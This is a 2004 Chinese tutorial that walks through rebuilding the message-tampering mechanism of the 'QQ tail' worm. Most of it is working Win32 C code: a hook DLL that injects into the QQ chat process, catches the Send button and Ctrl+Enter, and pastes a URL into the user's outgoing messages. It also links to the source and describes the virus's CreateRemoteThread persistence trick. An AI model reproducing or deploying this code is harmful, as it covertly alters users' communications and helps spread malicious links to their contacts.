當(dāng)前位置:首頁>>軟件教程>>病毒安全>>新聞內(nèi)容
跟我學(xué)制作“QQ尾巴病毒”
作者:稻草飛飛摘編 發(fā)布時間:2004-5-8 13:20:50 文章來源:eNet學(xué)院

  2003這一年里,QQ尾巴病毒可以算是風(fēng)光了一陣子。它利用IE的郵件頭漏洞在QQ上瘋狂傳播。中毒者在給別人發(fā)信息時,病毒會自動在信息文本的后邊添上一句話,話的內(nèi)容多種多樣,總之就是希望信息的接收者點擊這句話中的URL,成為下一個中毒者。下圖就是染毒后的QQ發(fā)送的消息,其中中毒者只打了“你好”兩個字,其它的就全是病毒的杰作了。

  源程序下載
  下載地址:http://myarticle.enet.com.cn/images/200405/1083989697677.zip

  下面我將要討論的,就是QQ尾巴病毒使用的這一技術(shù)。由于病毒的源代碼無法獲得,所以以下的代碼全是我主觀臆斷所得,所幸的是效果基本與病毒本身一致。

  粘貼尾巴

  首先的一個最簡單的問題是如何添加文本。這一技術(shù)毫無秘密可言,就是通過剪貼板向QQ消息的那個RichEdit“貼”上一句話而已。代碼如下:
TCHAR g_str[] = "歡迎來我的小站坐坐:http://titilima.nease.net";
// 函數(shù)功能:向文本框中粘貼尾巴
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// 分配內(nèi)存空間
hMem = GlobalAlloc(GHND   GMEM_SHARE, sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// 設(shè)置剪貼板文本
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
// 釋放內(nèi)存空間
GlobalFree(hMem);
// 粘貼文本
SendMessage(hRich, WM_PASTE, 0, 0);
}

  鉤子

  好了,那么下面的問題是,這段文本應(yīng)該在什么時候貼呢?網(wǎng)上有一些研究QQ尾巴實現(xiàn)的文章指出,可以用計時器來控制粘貼的時間,類似這個樣子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
  這的確是一種解決的手段,然而它也存在著極大的局限性——計時器的間隔如何設(shè)置?也許中毒者正在打字,尾巴文本“唰”的出現(xiàn)了……
  然而病毒本身卻不是這樣子,它能夠準(zhǔn)確地在你單擊“發(fā)送”或按下Ctrl+Enter鍵的時候?qū)⑽谋菊迟N上。2003年1月份我的一臺P2曾經(jīng)中過毒,由于系統(tǒng)速度較慢,所以可以很清楚地看見文本粘貼的時機。
  講到這里,我所陳述的這些事實一定會讓身為讀者的你說:鉤子!——對,就是鉤子,下面我所說的正是用鉤子來真實地再現(xiàn)“QQ尾巴病毒”的這一技術(shù)。
  首先我對鉤子做一個簡要的介紹,已經(jīng)熟悉鉤子的朋友們可以跳過這一段。所謂Win32鉤子(hook)并不是鐵鉤船長那只人工再現(xiàn)的手臂,而是一段子程序,它可以用來監(jiān)視、檢測系統(tǒng)中的特定消息,并完成一些特定的功能。打個比方來說,你的程序是皇帝,Windows系統(tǒng)充當(dāng)各省的巡撫;至于鉤子,則可以算是皇上的一個欽差。譬如皇帝下旨在全國收稅,然后派了一個欽差找到山西巡撫說:“皇上有旨,山西除正常賦稅外,加收杏花村酒十壇!保-_-#……)正如皇帝可以用這種方法來特殊對待特定的巡撫一樣,程序員也可以用鉤子來捕獲處理Windows系統(tǒng)中特定的消息。
  問題具體到了“QQ尾巴病毒”上邊,就是我們需要一個鉤子,在用戶單擊了“發(fā)送”按鈕之后,粘貼我們的文本。我所實現(xiàn)的這段鉤子過程為(至于如何掛接這個鉤子,我會在稍后說明):
// 鉤子過程,監(jiān)視“發(fā)送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕獲“發(fā)送”按鈕
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
  在此我對這個回調(diào)過程說明幾點:
  1、lParam是一個指向CWPSTRUCT結(jié)構(gòu)的指針,這個結(jié)構(gòu)的描述如下:
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
  這時候像我一樣的SDK fans也許會會心一笑:這不是窗口回調(diào)的那四個鐵桿參數(shù)么?如你所說,的確是這樣,你甚至可以使用switch (p->message) { /* ... */ }這樣的代碼寫成的鉤子函數(shù)來全面接管QQ窗口。
  2、g_hRich是一個全局變量,它保存的是QQ消息文本框的句柄。這里之所以采用全局變量,是因為我無法從鍵盤鉤子回調(diào)函數(shù)的參數(shù)中獲得這個句柄。至于如何獲得這個句柄以及這個全局變量的特殊位置,我會在稍后說明。
  3、CallNextHookEx是調(diào)用鉤子鏈中的下一個處理過程,換了欽差就會說:“十壇杏花村酒本欽差已經(jīng)替皇上收下了,現(xiàn)在請巡撫大人把貴省正常的賦稅交上來吧!保-_-#……)這是書寫鉤子函數(shù)中很重要的一個環(huán)節(jié),如果少了這一句,那么可能會導(dǎo)致系統(tǒng)的鉤子鏈出現(xiàn)錯誤,某些程序也會沒有響應(yīng)——事實上我在編寫這個仿真程序的時候QQ就當(dāng)?shù)袅藥谆亍?
  4、你也許會問為什么我捕獲的是WM_COMMAND消息,這個原因讓我來用下面的SDK代碼(雖然QQ是用MFC寫的,但是用SDK代碼才能說明WM_COMMAND和“發(fā)送”按鈕的關(guān)系)來說明:
#define IDC_BTN_SENDMSG 1 // “發(fā)送”按鈕ID的宏定義
// QQ發(fā)送消息對話框回調(diào)過程·李馬偽造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg, 0);
break;
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_BTN_SENDMSG:
// 發(fā)送消息...
break;
// 其它的命令按鈕處理部分...
}
}
break;
// 其它的case部分...
}
return 0;
}
  消息發(fā)送的整個過程是:當(dāng)用戶單擊了“發(fā)送”按鈕后,這個按鈕的父窗口(也就是“發(fā)送消息”的對話框)會收到一條WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))為這個按鈕的ID,然后再調(diào)用代碼中發(fā)送的部分,這個過程如下圖:

  所以,在此我捕獲WM_COMMAND消息要比捕獲其它消息或掛接鼠標(biāo)鉤子要有效得多。
  好了,現(xiàn)在這個鉤子已經(jīng)可以勝利地完成任務(wù)了。但是請不要忘記:有更多的用戶更偏愛于用“Ctrl+Enter”熱鍵來發(fā)送消息,所以程序中還需要掛上一個鍵盤鉤子:
// 鍵盤鉤子過程,監(jiān)視“發(fā)送”的熱鍵消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕獲熱鍵消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
  在這里唯一要解釋的一點就是lParam >= 0子句。很明顯這個if判斷是在判斷熱鍵Ctrl+Enter的輸入,那么lParam >= 0又是什么呢?事實上在鍵盤鉤子的回調(diào)之中,lParam是一個很重要的參數(shù),它包含了擊鍵的重復(fù)次數(shù)、掃描碼、擴展鍵標(biāo)志等等的信息。其中l(wèi)Param的最高位(0x80000000)則表示了當(dāng)前這個鍵是否被按下,如果這個位正在被按下,這個位就是0,反之為1。所以lParam >= 0的意思就是在WM_KEYDOWN的時候調(diào)用PasteText,也就是說,如果去掉這個條件,PasteText將會被調(diào)用兩次(連同WM_KEYUP的一次)。

  掛接鉤子和查找窗口

  接下來就是如何掛接這兩個鉤子了。對于掛接鉤子,要解決的問題是:往哪里掛接鉤子,以及如何掛接?
  掛接鉤子的目標(biāo),肯定是QQ“發(fā)送信息”窗口的所屬線程。我的代碼就是將這個窗口的句柄傳入之后來進行鉤子的掛接:
// 掛接鉤子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
// 感謝好友hottey的查找代碼,省去了我使用Spy++的麻煩
g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// 掛接鉤子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸載鉤子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
  到此為止,以上所有的代碼都位于一個Hook.dll的動態(tài)鏈接庫之中,關(guān)于DLL我就不多介紹了,請查閱MSDN上的相關(guān)資料和本文的配套源代碼。
  DLL之中已經(jīng)做好了所有重要的工作(事實上這部分工作也只能由DLL來完成,這是由Windows虛擬內(nèi)存機制決定的),我們只需要在EXE之中調(diào)用導(dǎo)出的SetHook函數(shù)就可以了。那么,SetHook的參數(shù)如何獲得呢?請看以下代碼:
// 感謝好友hottey的查找代碼,省去了我使用Spy++的麻煩
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowEx(g_hQQ, NULL, "Button", "發(fā)送(&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
  這段代碼中的do-while循環(huán)就是用來查找“發(fā)送消息”的窗口的,QQ窗口的保密性越來越強了,窗口一層套一層,找起來十分不便,所以在此感謝好友hottey的《QQ消息炸彈隨想》一文省去了我反復(fù)使用Spy++的麻煩。我所做的,只是把他文中的Delphi代碼翻譯成了C代碼。

  DLL的共享數(shù)據(jù)段

  如果你對DLL不甚了解,那么在你讀到我的配套源代碼之后,肯定會對下面這一段代碼有些疑問:
// 定義共享數(shù)據(jù)段
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // 窗口過程鉤子句柄
HHOOK g_hKey = NULL; // 鍵盤鉤子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
  這定義了一段共享的數(shù)據(jù)段,是的,因為我的注釋已經(jīng)寫得很清楚了,那么共享數(shù)據(jù)段起到了什么作用呢?在回答這個問題之前,我請你把代碼中以#開頭的預(yù)處理指令注釋掉然后重新編譯這個DLL并運行,你會發(fā)現(xiàn)什么?
  是的,添加尾巴失!
  好了,我來解釋一下這個問題。我們的這個仿真程序的EXE、DLL以及QQ的主程序事實上是下面這樣一種關(guān)系:

  這個DLL需要將一個實例映射到EXE的地址空間之中以供其調(diào)用,還需要將另一個實例映射到QQ的地址空間之中來完成掛接鉤子的工作。也就是說,當(dāng)鉤子掛接完畢之后,整個系統(tǒng)的模塊中,有兩個DLL實例的存在!此DLL非彼DLL也,所以它們之間是沒有任何聯(lián)系的。拿全局變量g_hRich來說,圖中左邊的DLL通過EXE的傳入獲得了文本框的句柄,然而如果沒有共享段的話,那么右邊的DLL中,g_hRich仍然是NULL。共享段于此的意義也就體現(xiàn)出來了,就是為了保證EXE、DLL、QQ三者之間的聯(lián)系。這一點,和C++中static的成員變量有些相似。
  在鉤子掛接成功之后,你可以通過一些有模塊查看功能的進程管理器看一看,就會發(fā)現(xiàn)Hook.dll也位于QQ.exe的模塊之中。

  最后一些要說的

  1、我是前說過,在2003年的1月份我就碰到了這種病毒,至今我還很清楚地記得那個病毒EXE只有16KB大小,所以從病毒本身存在的性質(zhì)來說,這個東西應(yīng)該是用Win32ASM來寫會更實用一些。
  2、那個病毒我曾經(jīng)是手殺的——用了一個進程查看工具就殺掉了。但是現(xiàn)在的“QQ尾巴”增加了復(fù)活功能——在EXE被殺掉后,DLL會將其喚醒。我曾經(jīng)用我的進程查看工具分析過,發(fā)現(xiàn)系統(tǒng)中幾乎所有的進程都被病毒的DLL掛住了。這一技術(shù)是利用CreateRemoteThread在所有的進程上各插入了一個額外的復(fù)活線程,真可謂是一石二鳥——保證EXE永遠運行,同時這個正在使用中的DLL是無法被刪除的。這一技術(shù)我也已經(jīng)實現(xiàn)了,但是穩(wěn)定性方面遠不及病毒本身做得優(yōu)秀,故在此也就不將其寫出了,有興趣的朋友可以參考Jeffrey Richter《Windows核心編程》的相關(guān)章節(jié)。
  3、走筆至此想起了侯捷老師《STL源碼剖析》中的一句話——“源碼之前,了無秘密!比绻憧赐瓯疚闹笠灿羞@樣的感覺,那么我將感到不勝榮幸。


最新更新
·getPlusPlus_Adobe.exe是什么
·刪除v6677.cn網(wǎng)站修改瀏覽器
·十大Windows7適用的殺毒軟件
·如何去掉ESET NOD32在郵件中
·免費獲得諾頓NIS 2010注冊碼
·Cnups.dll是什么文件,怎樣刪
·au_.exe文件時病毒嗎?怎么樣
·卡巴斯基自動更新到100%不動
·自己動手打造U盤版殺毒軟件
·讓你永久免費使用卡巴斯基的
相關(guān)信息
·getPlusPlus_Adobe.exe是什么文件?是病毒嗎?
·刪除v6677.cn網(wǎng)站修改瀏覽器首頁的方法
·Cnups.dll是什么文件,怎樣刪掉?
·au_.exe文件時病毒嗎?怎么樣刪除au_.exe?
·手動清除rundll2kxp.exe病毒的方法
·pnkbstra.exe是什么?怎么樣刪除pnkbstra.exe
·了解常用的集中網(wǎng)站掛馬和防范方法
·scanfrm.exe是病毒嗎?如何關(guān)閉它?
·如何清除手機病毒?如何預(yù)防手機病毒
·FOUND.000和FOUND.001這些文件夾是病毒嗎?
畫心
愚愛
偏愛
火苗
白狐
畫沙
犯錯
歌曲
傳奇
稻香
小酒窩
獅子座
小情歌
全是愛
棉花糖
海豚音
我相信
甩蔥歌
這叫愛
shero
走天涯
琉璃月
Nobody
我愛他
套馬桿
愛是你我
最后一次
少女時代
灰色頭像
斷橋殘雪
美了美了
狼的誘惑
我很快樂
星月神話
心痛2009
愛丫愛丫
半城煙沙
旗開得勝
郎的誘惑
愛情買賣
2010等你來
我叫小沈陽
i miss you
姑娘我愛你
我們都一樣
其實很寂寞
我愛雨夜花
變心的玫瑰
犀利哥之歌
你是我的眼
你是我的OK繃
貝多芬的悲傷
哥只是個傳說
丟了幸福的豬
找個人來愛我
要嫁就嫁灰太狼
如果這就是愛情
我們沒有在一起
寂寞在唱什么歌
斯琴高麗的傷心
別在我離開之前離開
不是因為寂寞才想你
愛上你等于愛上了錯
在心里從此永遠有個你
一個人的寂寞兩個人的錯